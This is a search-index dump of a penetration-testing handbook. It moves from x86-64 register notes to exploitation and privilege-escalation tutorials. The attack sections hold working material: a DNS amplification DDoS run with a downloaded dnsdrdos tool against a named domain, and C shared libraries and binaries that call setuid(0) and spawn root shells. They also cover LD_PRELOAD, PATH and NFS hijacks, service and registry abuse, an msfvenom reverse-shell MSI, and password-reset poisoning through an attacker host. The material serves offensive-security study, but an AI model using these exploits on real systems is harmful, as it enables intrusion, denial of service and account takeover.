using a debugger, since the rip does not actually point to the instruction currently being executed.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Instruction Pointer rip","id":"335","title":"The Instruction Pointer rip"},"336":{"body":"The flag register rFlags (eFlags for 32-bit machines) is an isolated register which is automatically updated by the CPU after every instruction and is not directly accessible by programmes. Following is a table of the meaning assigned to different bits of this register. Note that only the lower 32 bits are used even on 64-bit machines. Name Symbol Bit Usage =1 =0 Carry CF 0 Indicates whether the previous operation resulted in a carry-over. CY (Carry) CN (No Carry) 1 Reserved. Always set to 1 for eFlags. Parity PF 2 Indicates whether the least significant byte of the previous instruction's result has an even number of 1's. PE (Parity Even) PO (Parity Odd) 3 Reserved. Auxiliary Carry AF 4 Used to support binary-coded decimal operations. AC (Auxiliary Carry) NA (No Auxiliary Carry) 5 Reserved. Zero ZF 6 Indicates whether the previous operation resulted in a zero. ZR (Zero) NZ (Not Zero) Sign SF 7 Indicates whether the most significant bit was set to 1 in the previous operation (implies a negative result in signed-data contexts). NG (Negative) PL (Positive) Trap TF 8 Used by debuggers when single-stepping through a programme. Interrupt Enable IF 9 Indicates whether or not the CPU should immediately respond to maskable hardware interrupts. EI (Enable Interrupt) DI (Disable Interrupt) Direction DF 10 Indicates the direction in which several bytes of data should be copied from one location to another. DN (Down) UP (Up) Overflow OF 11 Indicates whether the previous operation resulted in an integer overflow. OV (Overflow) NV (No Overflow) I/O Privilege Level IOPL 12-13 Nested Task NT 14 Mode MD 15 Resume RF 16 Virtual 8086 Mode VM 17 31-63 Reserved.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Flag Register rFlags","id":"336","title":"The Flag Register rFlags"},"337":{"body":"In addition to the aforementioned registers, the x86-64 paradigm includes 16 registers, xmm[0-15], which are used for 32- and 64-bit floating-point operations. Furthermore, the same registers are used to support the Streaming SIMD Extensions (SSE) which allow for the execution of Single Instruction Multiple Data (SIMD) instructions.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Floating-Point Registers and SSE","id":"337","title":"Floating-Point Registers and SSE"},"338":{"body":"The x86-64 assembly paradigm has quite a lot of different instructions available at its disposal. An instructions consists of an operation and a set of operands where the latter specify the data and the former specifies what is to be done to that data.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Instruction Set ยป Introduction","id":"338","title":"Introduction"},"339":{"body":"Typically, instruction signatures are represented using the following operand notation. Operand Notation Description Register operand. , , , Register operand with a specific size requirement. Source operand. Destination operand - this may be a register or memory location. Floating-point destination register operand. Immediate value (a literal). Base-10 by default, but can be preceded with 0x to make it hexadecimal. Memory location - a variable name or an address. Arbitrary operand - immediate value, register or memory location. .'\">View Me! Here, a new URL is generated based on the value of a parameter $val. Here, the attacker passes the value 123%26action=edit onto the parameter. The URL-encoded value for & is %26. When this gets to the htmlspecialchars function, the %26 gets converted to an &. When the URL gets formed, it becomes And since this is view as HTML, an additional parameter has been smuggled! The link would be equivalent to /page.php? action=view&par=123&action=edit This second action parameter could cause unexpected behaviour based on how the server handles duplicate requests.","breadcrumbs":"Exploitation ยป Web ยป HTTP Parameter Pollution ยป Client-Side HPP","id":"140","title":"Client-Side HPP"},"141":{"body":"The HTTP Host header is a mandatory header for HTTP requests and specifies the domain name which the client wants to access. This is especially handy with virtual hosting because a single IP address may provide different services on different domains and the server needs to know which page to return to the client. For example, the same machine may serve a blog website at blog.example.com and a git repository at dev.example.com. In order to specify which of the two services the client wants to access, they must specify either the header Host: blog.example.com or dev.example.com, respectively, in their request. A host header injection vulnerability arises when the target application unsafely uses the contents of the Host header, typically in order to construct an absolute URL.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Introduction","id":"141","title":"Introduction"},"142":{"body":"This technique involves using Host Header Injection in order to force a vulnerable application to generate a password reset link which points to a malicious domain. This may be leveraged to steal the secret tokens required to reset the passwords of arbitrary users and consequently compromise their accounts. Typically applications implement password resetting as follows. The user specifies their username/email. The server generates a temporary, unique, high-entropy token for the user. The server generates a URL for the password reset with the secret token included as a URL parameter. For example, example.com/reset?token=abcdefghijklmnopqrstuvwxyz The server sends an email to the client which includes the generated password reset link. When the user clicks the link in their email, the token in the URL is used by server in order to determine whose password is being reset and whether or not it is a valid request. If the Host header of the request for a password reset is used in generating the password reset URL, an adversary may leverage it in order to steal the token for an arbitrary user. For example, an adversary could submit a password reset request for a user, e.g. carlos, intercept the request and modify the Host header to point to a domain controlled by them: Host: exploit-server.com. When the server generates the password reset URL, it will resemble the following, http://exploit-server.com/reset?token=abcdefghijklmnopqrstuvwxyz. If the victim clicks on the link, their token will be handed over to the attacker by means of the exploit-server.com domain which receives the password reset request. This type of attack, however, does not always require user interaction because emails are typically scanned be it to determine if they are spam or if they contain a virus and the scanners will oftentimes open the links themselves, all automatically, thus giving the attacker the token to reset the password.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Password Reset Poisoning","id":"142","title":"Password Reset Poisoning"},"143":{"body":"Check to see if absolute URLs are necessary and cannot be replaced with relative ones. If an absolute URL is necessary, ensure that the current domain is stored in a configuration file and do NOT use the one from the Host: header. If using the Host header is inevitable, ensure that it is validated against a whitelist of permitted domains. Different frameworks may provide different methods for achieving this. Drop support for additional headers which may permit such attacks, such as the X-Forward-Host header. Do NOT virtual-host internal-only websites on a server which also provides public-facing content, since those may be accessed via manipulation of the Host header.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Prevention","id":"143","title":"Prevention"},"144":{"body":"","breadcrumbs":"Exploitation ยป Windows ยป Windows","id":"144","title":"Windows"},"145":{"body":"Shell Command Files (SCF) permit a limited set of operations and are executed upon browsing to the location where they are stored. What makes them interesting is the fact that they can communicate through SMB, which means that it is possible to extract NTLM hashes from Windows hosts. This can be achieved if you are provided with write access to an SMB share.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป Introduction","id":"145","title":"Introduction"},"146":{"body":"You will first need to create a malicious .scf file where you are going to write a simple (you can scarcely even call it that) script.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป The Attack","id":"146","title":"The Attack"},"147":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS","id":"147","title":"DNS"},"148":{"body":"A DNS (Traffic) Amplificaton attack is a popular form of a distributed denial of service (DDoS) attack, which abuses open DNS resolvers to flood a target system with DNS response traffic. It's called an amplification attack because it uses DNS responses to upscale the size of the data sent to the victim.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป What is DNS Traffic Amplification?","id":"148","title":"What is DNS Traffic Amplification?"},"149":{"body":"An attacker sends a DNS name lookup to an open resolver with the source IP spoofed to be the victim's IP address. That way, any response traffic would be sent to the victim and not the attacker. The requests submitted by the attacker usually aim to query for as much information as possible in order to maximise the amplification effect. In most cases, the queries sent are of type ANY which requests all known information about a particular DNS zone. Using a botnet, it's easy to create immense amounts of traffic. It is also rather difficult to protect against these attacks because the traffic is coming from legitimate sources - real DNS servers.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป How does it work?","id":"149","title":"How does it work?"},"15":{"body":"This is the process of discovering active hosts on a network, either for attacking them or assessing the overall network security.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Network Scanning","id":"15","title":"Network Scanning"},"150":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Conducting a DNS Traffic Amplification Attack","id":"150","title":"Conducting a DNS Traffic Amplification Attack"},"151":{"body":"We should first check if a DNS Traffic Amplification is possible and if it's viable. We can do this through Metasploit using the module auxiliary/scanner/dns/dns_amp. In the RHOSTS you need to put the IP of the name server you want to test. This module will tell you if a name server can be used in an amplification attack but won't actually execute the attack. Run the scanner:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Testing a DNS server for attack surface","id":"151","title":"Testing a DNS server for attack surface"},"152":{"body":"A simple tool is available only as a proof of concept here . You will need to download and then compile it: wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c gcc -o dnsdrdos dnsdrdos.c -Wall -ansi โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\n--2021-09-21 13:01:11-- https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 15109 (15K) [text/plain]\nSaving to: โ€˜dnsdrdos.cโ€™ dnsdrdos.c 100%[========================================================================================================================================>] 14.75K --.-KB/s in 0.001s 2021-09-21 13:01:11 (17.9 MB/s) - โ€˜dnsdrdos.cโ€™ saved [15109/15109] โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ gcc -o dnsdrdos dnsdrdos.c -Wall -ansi Now, create a file containing the IP's of each DNS server you want to use in the attack (only one IP per line). Use the following syntax to run the attack: sudo ./dnsdrdos -f -s -d -l โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ sudo ./dnsdrdos -f dns_servers -s 192.168.129.2 -d nsa.gov -l 30\n----------------------------------------------- dnsdrdos - by noptrix - http://www.noptrix.net/ ----------------------------------------------- โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ The output may be empty, but the packets were sent. You can verify this with wireshark:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Executing the attack","id":"152","title":"Executing the attack"},"153":{"body":"A flaw of all DNS name servers is that if they contain incorrect information, they may spread it to clients or other name servers. Each DNS name server (even individual clients) has a DNS cache. The system stores there information about any responses it gets for domains it requested. An attacker could inject false entries in this cache and as such, any computer which queries the poisoned name server will receive false results. This is known as DNS cache poisoning . The attack can be used to redirect users to a different website than the requested one. As such, it opens opportunities for phishing attacks by creating evil twins of login portals for well-known sites. A tool for performing such targeted attacks is deserter . Usage information is available on its GitHub page.","breadcrumbs":"Exploitation ยป DNS ยป DNS Cache Poisoning ยป Introduction","id":"153","title":"Introduction"},"154":{"body":"","breadcrumbs":"Post Exploitation ยป Post Exploitation","id":"154","title":"Post Exploitation"},"155":{"body":"","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Introduction","id":"155","title":"Introduction"},"156":{"body":"The first thing you need to do after gaining a foothold on a machine is to look for reused credentials. You should try every password you have gathered on all users, you never know when you might find an easy escalation to root. Next, you should hunt down sensitive files and look for stored credentials in configuration and source files of different applications. Naturally, you should also enumerate any local databases you find. Additionally, SSH keys are something to be on the lookout for. You should also go through the bash history and look for any passwords which were passed as command-line arguments. You should then move on to looking for exploits. Kernel exploits are really low-hanging fruit, so you should always check the kernel version. Subsequently, proceed by enumerating sudo and the different ways to exploit it, for example via Shell Escape Sequences or LD_PRELOAD . Following, you should proceed by tracking down any misconfigurations such as excessive capabilities or SUID Binaries . You should check if you have write access to any sensitive files such as /etc/passwd or /etc/shadow, as well as any cron jobs or cron job dependencies. Ultimately, you should move on to enumerating running software and services which are executed as root and try to find vulnerabilities in them which may allow for privilege escalation. This can all be summed up into the following: Credentials Reused Credentials Credentials in Configuration or Source Files Credentials from Databases Credentials in Sensitive Files Credentials from Bash History SSH Keys Exploitation Kernel Exploits Sudo Misconfigurations Excessive Capabilities SUID/SGID Binaries Write Access to Sensitive Files Writable Cron Jobs and Cron Job Dependencies Installed Software Vulnerabilities in Software and Services Running as Root","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Methodology","id":"156","title":"Methodology"},"157":{"body":"The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command: find / -perm -u=s -type f -user root 2>/dev/null","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Introduction","id":"157","title":"Introduction"},"158":{"body":"You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins . In the above example, we find that /bin/systemctl has the SUID bit set and that it also has an entry in GTFOBins : By following the instructions, although with slight modifications, we can run commands with elevated privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Exploiting Misconfigured Common Binaries","id":"158","title":"Exploiting Misconfigured Common Binaries"},"159":{"body":"Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD , but it is a bit more difficult to find and exploit. You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case: It is always good practice to run the programme with strace, which will print any attempts of the binary to access libraries: strace 2>&1 | grep -iE \"open|access\" What stands out in particular is the /home/user/.config/libcalc.so library, since /home/user/.config/ may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/ which means that we can create it. What now remains is to compile a malicious library into libcalc.so. #include \n#include static void inject() __attribute__((constructor)); void inject()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} For older versions of GCC, you may need to use the _init() function syntax: #include \n#include void _init()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} Compile the malicious library: gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Shared Object Injection","id":"159","title":"Privilege Escalation via Shared Object Injection"},"16":{"body":"Reveals the presence of known vulnerabilities. It checks whether a system is exploitable through a set of weaknesses. Such a scanner consists of a catalog and a scanning engine. The catalog contains information about known vulnerabilities and exploits for them that work on a multitude of servers. The scanning engine is responsible for the logic behind the exploitation and analysis of the results.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Vulnerability Scanning","id":"16","title":"Vulnerability Scanning"},"160":{"body":"Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \\$PATH, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones. This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Path Hijacking","id":"160","title":"Privilege Escalation via Path Hijacking"},"161":{"body":"Relative paths are comparably easy to hijack - they require little other than editing the \\$PATH variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \\$PATH a directory which will contain an executable with the same name as the one originally invoked. Let's compile our own malicious binary. #include \n#include int main()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\"); return 0;\n} gcc -o /tmp/service /tmp/service.c Afterwards, we need to prepend /tmp to the \\$PATH variable: export PATH=/tmp:\\$PATH And finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Relative Paths","id":"161","title":"Hijacking Relative Paths"},"162":{"body":"Absolute paths require a bit more work to be hijacked. Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme. First, create the bash function: function () { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; } Next, export the function: export -f Finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Absolute Paths","id":"162","title":"Hijacking Absolute Paths"},"163":{"body":"The kernel is the layer which sits between applications and the hardware. It runs with root privileges, so if it gets exploited, privileges can be escalated. Finding kernel vulnerabilities and writing exploits for them is no trifling task, however, once such a vulnerability is made public and exploit code for it is developed, it easily becomes a low-hanging fruit for escalating privileges. A very useful list of kernel exploits found to date is located here . Finding already existing exploits is really easy - just search for the Linux kernel version!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Introduction","id":"163","title":"Introduction"},"164":{"body":"As an example, we are going to exploit dirtyc0w. This was a very ubiquitous exploit and can still be found on numerous outdated machines. The exploit itself has many versions but for demonstration purposes we are going to use the one at https://www.exploit-db.com/exploits/40839 . We need to first verify that our kernel version is in the vulnerable range. Inside the exploit we see compilation instructions, which is typical of kernel exploits as they are usually written in C: By compiling and running the exploit (it may actually take some time to execute), we have elevated our privileges!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Exploiting the Kernel","id":"164","title":"Exploiting the Kernel"},"165":{"body":"It is common to see a low-privileged user to be configured to be able to run some commands via sudo without a password. Luckily, many existing programmes for Linux have advanced capabilities which allow them to do many things such as spawning a shell when run with sudo. If such a programme is configured in the aforementioned way, then there is a shell escape sequence which is a (usually) simple command/argument passed to the programme when run, so that it spawns a shell with elevated privileges when run with sudo. Naturally, these shell escape sequences are programme-specific and it would be inane to try and remember the sequence for every binary. This is where GTFOBins comes in. This is a database of commands (including shell escape sequences) for common Linux binaries which can be used for escalating privileges. We saw in the above list provided by sudo -l that we are allowed to run find as root via sudo. Let's check if there is a shell escape sequence for it. There is! We can copy and paste it, then run it with sudo, and we should at last have a root shell: Another example can be given with the awk binary, which we also saw in the list provided by sudo -l.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Shell Escape Sequences ยป Introduction","id":"165","title":"Introduction"},"166":{"body":"The compromised machine may be configured to allow certain directories to be mounted by other machines. You can enumerate such directories by running the following command on the victim machine: cat /etc/exports You can additionally verify this from your attacker machine by running: showmount -e If there is a mountable directory which is configured as no_root_squash, as is the case here, then it can be used for privilege escalation. We begin by mounting the target directory from the victim to a directory on our machine: sudo mount -o rw, vers=3 :/tmp /tmp/root_squash Now, if no_root_sqaush is configured for the mountable directory, then the root user on the attacker machine will get mirrored on the victim machine. In essence, any command run as root on the attacker machine, will also be executed as root on the victim! This can allow us to create a malicious binary in the mounted directory and set its SUID bit from the attacker machine. This action will be mirrored by the victim and we will essentially have an SUID binary on the target which is all under our control. Let's write a simple malicious C executable: #include \n#include int main()\n{ setuid(0); // Set user ID to root setgid(0); // Set group ID to root system(\"/bin/bash -i\"); // Execute bash now with elevated privileges return 0;\n} It doesn't matter if you create it on the target or the attacker machine, but you must compile it on the target machine in order to avoid library version mismatches: gcc -o nfs_exploit nfs_exploit.c Next, you want to change the ownership of the compiled binary to root on the attacker machine . Afterwards, you want to set the SUID bit on the binary, once again, from the attacker machine : sudo chown root:root nfs_exploit\nsudo chmod +s nfs_exploit Finally, execute the malicious binary on the target :","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป NFS Root Squashing ยป Introduction","id":"166","title":"Introduction"},"167":{"body":"Linux capabilities provide a way for splitting permissions into small units. A binary with particular capabilities can perform certain tasks with elevated privileges. If capabilities are not properly set, or if they are excessive, this may lead to privilege escalation. Binaries with capabilities may be found using the following command: getcap / -r 2>/dev/null A list of all possible capabilities can be found here . In the above example, we can see that the python interpreter can arbitrarily set the user ID of the process. This means that we can change our user ID to 0 when running python, thus escalating our privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing Linux Capabilities ยป Introduction","id":"167","title":"Introduction"},"168":{"body":"The LD_PRELOAD environment variable can be used to tell the dynamic linker to load specific libraries before any others. By default, programmes run with sudo will be executed in a clean, minimal environment which is specified by env_reset when running sudo -l. However, env_keep may be used to inherit some environment variables from the parent process. If LD_PRELOAD is specified together with env_keep, then we can compile our own malicious dynamic library and set LD_PRELOAD to it. Therefore, when we execute a binary with sudo, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Introduction","id":"168","title":"Introduction"},"169":{"body":"Writing the library is a fairly simple task. All we need to do is write an _init function in a C file. This procedure will contain the code we want to be executed when the library is loaded. #include \n#include \n#include void _init()\n{ unsetenv(\"LD_PRELOAD\"); // Unset LD_PRELOAD to avoid an infinite loop setgid(0); // Set root permissions setuid(0); // Set root permissions system(\"/bin/bash\");\n} We begin by unsetting the LD_PRELOAD variable from the environment. This is to preclude an infinite loop when /bin/bash is invoked. If our library didn't unset LD_PRELOAD, then when /bin/bash is called, our library will again be loaded first and then proceed onto launching /bin/bash yet again, which will again load our library and so on. The next two lines set the user and group IDs to those of root which ensures that the next commands are run with root privileges. Finally, system is called in order to spawn a bash shell. We now need to compile this file as a shared library: gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles At last, we can invoke any binary with sudo and specify the path to our library as LD_PRELOAD. Note that the path to the library must be specified as an absolute path.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Writing the Malicious Library","id":"169","title":"Writing the Malicious Library"},"17":{"body":"Nmap is a free and open source port and network scanner, which may also be used for vulnerability scanning through its scripting engine - the NSE.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Introduction","id":"17","title":"Introduction"},"170":{"body":"Once you have gained access to a system, it is paramount to look for other credentials which may be located on the system. These may be hidden in the Windows Registry, within log or configuration files, and more. Moreover, you should check to see if any credentials you have previously found work with anything else. You should also check if you have access to the Windows SYSTEM or SAM files or any of their backups, since those will contain the hashes for users on the system. If so, you might be able to perform a pass-the-hash attack or simply crack them. If the compromised system is a Windows Server, you should look for any stored credentials which can be used with RunAs. You should check the Windows build and version, see if there are any kernel exploits available. You should then move onto enumerating misconfigurations in services and other Windows-specific vectors. If none of these bear any fruit, you should look at the programmes installed on the system, enumerate them for misconfigurations, explore their versions and any exploits which may be available. If none are found, you might consider reverse engineering and binary exploitation as a last resort. Finally, if you have gained access as a local administrator, you should proceeding to looking for ways to bypass UAC . In essence: Credentials Reused Credentials Credentials in Configuration or Log files Credentials in the Windows Registry Credentials from Windows SAM and SYSTEM files Pass-the-hash attacks Stored Credentials (Windows Servers) Kernel Exploits Misconfigurations Services AutoRuns Startup Applications Scheduled Tasks AlwaysInstallElevated Group Policy Bypassing UAC","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Methodology","id":"170","title":"Methodology"},"171":{"body":"Windows Services allow for the creation of continuously running executable applications. These applications have the ability to be automatically started upon booting, they may be paused and restarted, and they lack a user interface. In order for a service to function properly, it needs to be associated with a system or user account. There are a few common built-in system accounts that are used to operate services such as LocalService, NetworkService, and LocalSystem. The following table describes the default secure access rights for accounts on a Windows system: Account Permissions Local Authenticated Users (including LocalService and Network Service) READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_USER_DEFINED_CONTROL Remote Authenticated Users Same as those for Local Authenitcated Users. LocalSystem READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_PAUSE_CONTINUE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL Administrators DELETE READ_CONTROL SERVICE_ALL_ACCESS WRITE_DAC WRITE_OWNER Moreover, a registry entry exists for each service in HKLM\\SYSTEM\\CurrentControlSet\\Services.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Introduction","id":"171","title":"Introduction"},"172":{"body":"In general, manual enumeration of Windows services is a rather cumbersome process, so I suggest that you use a tool for automation such as WinPEAS . winpeas.exe servicesinfo The permissions a user has on a specific service can be inspected via the AccessChk Windows Utility. acceschk.exe /accepteula -uwcqv ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Enumeration","id":"172","title":"Enumeration"},"173":{"body":"This is a vulnerability which can be used to force a misconfigured service to execute an arbitrary programme in lieu of its intended one, as long as the path to that executable contains spaces. On its own, this does not allow for privilege escalation, but it becomes a really powerful tool when the misconfigured service is set to run with system privileges. Let's take a look at the following path: C:\\Program Files\\Vulnerable Service\\service.exe If this path was specified to the service in quotation marks, \"C:\\Program Files\\Vulnerable Service\\service.exe\", then Windows will treat it correctly, executing the service.exe file in the C:\\Program Files\\Vulnerable Service directory. However, Windows is not the sharpest tool in the box and if the path is provided without quotation marks, then it will see ambiguity in what it is supposed to execute. The path will be split at each space character - the first segment will be treated as the executable's name and the rest will be seen as command-line arguments to be passed to it. So at first, Windows will try to execute the following: C:\\Program.exe Files\\Vulnerable Service\\service.exe Once Windows determines that the C:\\Program.exe file does not exist, it will look for the next space character, treat the characters up to it as the new path and try to execute it again: C:\\Program Files\\Vulnerable.exe Service\\service.exe Now, this is process is recursive until a file is successfully executed or the end of the path has been reached. If we are able to create a malicious executable in any of the possible paths that Windows will traverse, then we can hijack the service before the intended file is found. Once you have identified a vulnerable service, you can query to confirm that the path is indeed unquoted. Let's check our access to the possible directories that will be probed by Windows: accesschk.exe /accepteula -uwdq While we cannot write within the C:\\ or C:\\Program Files directories (meaning that we cannot create C:\\Program.exe or C:\\Program Files\\Unquoted.exe), we do have write access to C:\\Program Files\\Unquoted Path Service\\. What this entails is our ability to create a Common.exe binary inside this directory and, since the initial path was unquoted, the path C:\\Program Files\\Unquoted Path Service\\Common.exe will be probed before C:\\Program Files\\Unquoted Path Service\\Common Files\\unquotedpathservice.exe and once Windows finds our malicious executable there, it will be executed with the service's permissions. If we couldn't restart the service, then we could have simply waited for something else to execute it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Unquoted Service Paths ยป Unquoted Service Paths","id":"173","title":"Unquoted Service Paths"},"174":{"body":"As previously mentioned, each service is associated with a registry entry in the Windows Registry which is located at HKLM\\SYSTEM\\CurrentControlSet\\Services\\. This entry is essentially the configuration of the service and if it is writable, then it can be abused by an adversary to overwrite the path to the binary application of the service with a malicious one. Querying regsvc reveals that it is running with system privileges and its registry entry is writable by all logged-on users (NT AUTHORITY\\INTERACTIVE). All we need to do now is overwrite the ImagePath registry key in the service's entry to point to our malicious executable: reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\ /v ImagePath /t REG_EXPAND_SZ /d /f Restart the service and catch the shell: net start regsvc","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Weak Registry Permissions ยป Weak Registry Permissions","id":"174","title":"Weak Registry Permissions"},"175":{"body":"This is a technique which leverages misconfigurations in the service permissions for a specific user. If permissions for a specific user differ from the ones described in the table here , then they may manifest as a possible vulnerability. To identify such services, it is useful to use WinPEAS. It appears that user has write access to the service daclsvc and can also start the service. We can query the service to see what user account is actually executing it: sc qc It appears that the service is running as LocalSystem which is an account with more privileges than our user account. If we can write to the service, then we can alter its configuration and change the path to the executable which is supposed to be run: sc config binpath=\"\\\"\\\"\" All we now need to do is setup a listener and run the service: net start And we get a system shell back:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Permissions ยป Insecure Service Permissions","id":"175","title":"Insecure Service Permissions"},"176":{"body":"The binary application executed by a service is considered insecure when an adversary has write access to it when they shouldn't. This means that an attacker can simply replace the file with a malicious executable. If the service is configured to run with system privileges, then those privileges will be inherited by the attacker's executable! All we need to do is simply replace the legitimate executable with a malicious one and then start the service.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Executable Permissions ยป Introduction","id":"176","title":"Introduction"},"177":{"body":"AutoRun application are programmes which have been set up to automatically execute when a user logs in for the first time after booting the system. This is typically done so that the application can look for updates and update itself if necessary. For example, Steam, Spotify, and Discord, all set this up upon installation. On its own, this does not pose a security risk. Where the real vulnerabilities lies is within AutoRuns which are writable by anyone. AutoRuns can be enumerated by querying the registry: reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Now all we need to do is generate the malicious executable and replace the AutoRun programme with it. Note that in order for the exploit to work, an administrator would need to log in. Now, as soon as the administrator logs in, we will get an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AutoRun Programmes ยป Introduction","id":"177","title":"Introduction"},"178":{"body":"Windows has a group policy which, when enabled, allows a user to install a Microsoft Windows Installer Package (.msi file) with elevated privileges. This poses a security risk because an adversary can simply generate a malicious .msi file and execute it with admin privileges. In order to check for this vulnerability, one need only query the following registry keys: reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated The AlwaysInstallElevated policy appears enabled, so we can generate a malicious .msi executable. One way to do this is through Metasploit: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f msi -o reverse.msi Next, transfer the executable to the target machine and execute it with msiexec: msiexec /quiet /qn /i ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AlwaysInstallElevated Group Policy ยป Introduction","id":"178","title":"Introduction"},"179":{"body":"Kernel exploits are one of the most trivial privilege escalation paths available. One of the first things you should do when seeking for a privilege escalation vector is to look at the kernel version as well as 